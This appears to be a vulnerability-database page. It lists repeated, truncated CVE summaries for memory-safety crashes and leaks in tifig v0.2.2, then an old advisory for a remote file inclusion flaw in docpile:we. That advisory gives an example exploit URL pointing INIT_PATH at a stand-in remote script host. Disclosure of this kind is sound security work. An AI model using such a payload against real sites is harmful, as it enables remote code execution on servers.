Design/Logic Flaw

tifig v0.2.2 was discovered to contain a resource allocation issue via operator newunsigned long at asannewdelete.cpp...

CVE-2022-36153

CVE-2022-36153 affects tifig v0.2.2, where a segmentation violation can occur through the use of std::vector::size() in /bits/stl_vector.h. The issue is documented across multiple sources (NVD entry and Red Hat/OSV/CVE lists) consistently describing a memory/segmentation fault in tifig 0.2.2. The...

CVE-2022-36153

tifig v0.2.2 was discovered to contain a segmentation violation via std::vector ::size const at /bits/stlvector.h...

CVE-2022-36153

tifig v0.2.2 was discovered to contain a segmentation violation via std::vector ::size const at /bits/stlvector.h...

CVE-2022-36151

tifig v0.2.2 was discovered to contain a segmentation violation via getType at /common/bbox.cpp...

CVE-2022-36151

CVE-2022-36151 affects tifig v0.2.2, with a segmentation/ crash via getType() in /common/bbox.cpp. Affected component: tifig (HEIF thumbnail converter). Root cause: memory access error in getType(); exploit status not detailed in the provided docs. Impact per CVSS: local access, user interaction ...

CVE-2022-36151

tifig v0.2.2 was discovered to contain a segmentation violation via getType at /common/bbox.cpp...

CVE-2022-36150

CVE-2022-36150 affects the tifig package (v0.2.2). The vulnerability is a heap-buffer overflow caused by an overflow in memory operations, reported via __asan_memmove in /asan/asan_interceptors_memintrinsics.cpp. Public descriptions consistently identify tifig v0.2.2 as vulnerable and do not spec...

CVE-2022-36150

tifig v0.2.2 was discovered to contain a heap-buffer overflow via asanmemmove at /asan/asaninterceptorsmemintrinsics.cpp...

CVE-2022-36150

tifig v0.2.2 was discovered to contain a heap-buffer overflow via asanmemmove at /asan/asaninterceptorsmemintrinsics.cpp...

CVE-2022-36149

CVE-2022-36149 affects tifig v0.2.2, with a heap-use-after-free in the function temInfoEntry(). The vulnerability is documented across multiple sources (NVD, Red Hat, CVE lists). Impact is described as a heap-based issue; CVSS 3.1 base score is 5.5 (Medium) with LOCAL exploit, user interaction re...

CVE-2022-36149

tifig v0.2.2 was discovered to contain a heap-use-after-free via temInfoEntry...

CVE-2022-36149

tifig v0.2.2 was discovered to contain a heap-use-after-free via temInfoEntry...

CVE-2022-36155

CVE-2022-36155 affects tifig v0.2.2 with a resource allocation issue in asan_new_delete.cpp (operator new(unsigned long)). The CVE entry notes availability impact as HIGH while confidentiality and integrity remain NONE. Public details consistently describe the issue but do not provide exploit/vec...

CVE-2022-36155

tifig v0.2.2 was discovered to contain a resource allocation issue via operator newunsigned long at asannewdelete.cpp...

CVE-2022-36155

tifig v0.2.2 was discovered to contain a resource allocation issue via operator newunsigned long at asannewdelete.cpp...

CVE-2022-36152

tifig v0.2.2 was discovered to contain a memory leak via operator new at /asan/asannewdelete.cpp...

CVE-2022-36152

CVE-2022-36152 affects tifig v0.2.2, with a memory leak in the asan_new_delete.cpp path (operator new[]). The issue is a memory leak vulnerability in tifig 0.2.2; CVSS shows local access required, low attack complexity, with availability impact high. Connected documents consistently identify the ...

CVE-2022-36152

tifig v0.2.2 was discovered to contain a memory leak via operator new at /asan/asannewdelete.cpp...

docpile:we <= 0.2.2 (INIT_PATH) Remote File Inclusion Vulnerabilities

No description provided by source. TiTLE: docpile:we v0.2.2 INITPATH Remote File Inclusion Vulnerability - Author: xoron - Class : Remote - cont@ct: x0r0nathotmaildotcom - URL: http://docpile-we.berlios.de - Exploit: http://www.site.com/path/lib/folder.class.php?INITPATH=http://evilscript?...